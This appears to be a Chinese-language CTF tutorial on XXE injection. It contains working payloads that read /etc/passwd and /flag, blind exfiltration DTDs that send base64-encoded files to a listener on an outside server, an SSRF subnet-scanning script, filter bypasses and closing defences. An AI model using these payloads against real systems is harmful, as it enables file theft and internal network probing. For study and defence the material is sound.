XML 基础
什么是 XML
- XML 指可扩展标记语言(Extensible Markup Language)
- XML 是一种标记语言,很类似 HTML
- XML 的设计宗旨是传输数据,而非显示数据
- XML 标签没有被预定义。您需要自行定义标签。
- XML 被设计为具有自我描述性。
- XML 是 W3C 的推荐标准
特点:
仅仅是纯文本,他不会做任何事情,XML可以自己发明标签(允许定义自己的标签和文档结构),他常被用于数据的传输格式。
XML文件格式如下:
XML 构成
DTD
DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。
DTD 可以在 XML 文档内声明,也可以外部引用。
内部声明:
外部声明:
实体
根据类型划分,实体一般分为 一般实体
和 参数实体
一般实体
一般实体(通用实体)的声明语法: <!ENTITY 实体名 "实体内容">
引用实体的方式: &实体名
;
在 DTD 中定义实体,在 XML 文档中引用:
参数实体
参数实体只能在 DTD 中使用,参数实体的声明格式: <!ENTITY % 实体名 "实体内容">
引用实体的方式: %实体名;
只能在 DTD 文件中,参数实体的声明才能引入其他实体
和一般实体(通用实体)一样,参数实体也可以外部引用。
data.dtd 内容如下:
1
| <!ENTITY test SYSTEM "http://127.0.0.1/1.txt">
|
有回显XXE
源码
1 2 3 4 5 6 7 8 9 10
| <?php error_reporting(0); highlight_file(__FILE__); libxml_disable_entity_loader(false); $xmlfile = file_get_contents("php://input"); $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); $creds = simplexml_import_dom($dom); echo $creds; ?>
|
PAYLOAD
1 2 3 4 5 6 7
| <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE crdes [ <!ENTITY goodies SYSTEM "file:///etc/passwd"> ]> <crdes> &goodies; </crdes>
|
无回显XXE
源码
1 2 3 4 5 6 7 8
| <?php error_reporting(0); highlight_file(__FILE__); libxml_disable_entity_loader(false); $xmlfile = file_get_contents("php://input"); $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); ?>
|
PAYLOAD
首先在云服务器中新建 1.dtd 文件,内容如下:
1
| <!ENTITY % dtd "<!ENTITY % xxe SYSTEM 'http://IP:2333/?content=%file;'> ">
|
接着传入在云服务器上监听 2333
端口:
最后传入如下内容:
1 2 3 4 5 6 7
| <!DOCTYPE test [ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag"> <!ENTITY % hack SYSTEM "https://www.qwesec.com/1.dtd"> %hack; %dtd; %xxe; ]>
|
回到云服务器当中,即可看到此时获取到 /flag
文件的内容。
我们从 PAYLOAD 中可以看到连续调用了三个实体: %hacker;
、%dtd
、%xxe
、这就是我们利用的顺序,%hacker;
先调用,调用后请求服务器上的 1.dtd
,有点类似于将 1.dtd
包含起来,然后 %dtd
调用 %file
用于获取文件 /flag
内容。然后将 %file
的结果填入到 %xxe
当中(因为实体的值不能有%
,所以将其转成html实体编码 %
),我们再调用 %xxe;
就把我们读取的数据发送到远程的 vps 上,这样就实现了数据外带的效果,完美的解决了 XXE 无回显的问题。
小结
- 由于 XXE 语法的特殊性,导致 bypass 的方法不是很多,所以比较简单,payload 形式比较单一。
- 好定位,抓包看传输方式,如果是 XML 形式提交的数据则可以考虑XXE,否则无需考虑,如果有过滤,可以针对 bypass 进行过滤,并且可以确定是XXE的题。
- 由于 PAYLOAD 比较单一,收藏好有回显和无回显的 PAYLODAD,每次都是通用打,一键打。
例题-1 有回显的 XXE
选自: [NCTF2019]Fake XML cookbook BUUCTF 可开环境
PAYLOAD:
1 2 3 4 5
| <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE user [ <!ENTITY xxe SYSTEM "file:///flag"> ]> <user><username>&xxe;</username><password>admin</password></user>
|
例题-2 有回显的 XXE SSRF
获取本机IP
1 2 3 4 5 6 7
| <!DOCTYPE user [ <!ENTITY xxe SYSTEM "file:///proc/net/arp"> ]> <user> <username>&xxe;</username> <password>admin</password> </user>
|
除了 /proc/net/arp
文件以外还有 /etc/hosts
或 /etc/network/interfaces
、/proc/net/fib_trie
都可以收集到网络信息。
SSRF 探测
这里编写个脚本对以上结果进行 http 访问即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| import requests as res url="http://e20caba6-db80-4666-9505-e87b481cf6f8.node5.buuoj.cn/doLogin.php" rawPayload='<?xml version="1.0"?>'\ '<!DOCTYPE user ['\ '<!ENTITY payload1 SYSTEM "http://10.244.80.{}">'\ ']>'\ '<user>'\ '<username>'\ '&payload1;'\ '</username>'\ '<password>'\ '23'\ '</password>'\ '</user>' for i in range(1,256): payload=rawPayload.format(i) print(str("#{} =>").format(i),end='') try: resp=res.post(url,data=payload,timeout=0.5) except: continue else: print(resp.text,end='') finally: print('')
|
例题-3 无回显的 XXE
选自:sqlsec/xxe:v2 使用 docker 拉取该镜像即可
1
| docker run -itd -p 8080:80 sqlsec/xxe:v2
|
PAYLOAD:
首先在云服务器中新建 2.dtd 文件,内容如下:
1 2 3
| <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd"> <!ENTITY % send "<!ENTITY xxe SYSTEM 'http://120.48.128.24:2333/%file;'>"> %send;
|
接着传入在云服务器上监听 2333
端口:
最后传入如下内容:
1 2 3 4 5
| <!DOCTYPE user SYSTEM "https://www.qwesec.com/2.dtd"> <user> <username>&xxe;</username> <password>admin</password> </user>
|
bypass
过滤 SYSTEM
过滤 SYSTEM
可以使用 PUBLIC "x1ongsec"
例题:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?php error_reporting(0); highlight_file(__FILE__); libxml_disable_entity_loader(false); $xmlfile = file_get_contents("php://input"); if (!preg_match('/SYSTEM/i',$xmlfile)) { $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); $creds = simplexml_import_dom($dom); echo $creds; } else { echo "hacker!"; } ?>
|
PAYLOAD:
1 2 3 4 5 6 7
| <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE crdes [ <!ENTITY goodies PUBLIC "x1ongsec" "file:///etc/passwd"> ]> <crdes> &goodies; </crdes>
|
过滤 dtd
引入的外部 dtd 文件不一定非要以 .dtd
结尾,因此换成其他后缀即可。
其他过滤
通常 XXE 漏洞存在于 XML 文档的开头,有的 WAF 会检测 XML 文档中开头中的某些子字符串或正则表达式,但是 XML 格式在设置标签属性的格式时允许使用任意数量的空格,因此我们可以在 <?xml ?>
或 <!DOCTYPE>
中插入数量足够多的控股去绕过 WAF 的检测。
XXE 防御方式
使用开发语言提供的禁用外部实体的方法:
1
| libxml_disable_entity_loader(true);
|
1 2
| DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance(); dbf.setExpandEntityReferences(false);
|
手工过滤用户提交的恶意数据:
<!DOCTYPE <!ENTITY
或者 SYSTEM
PUBLIC
等恶意关键词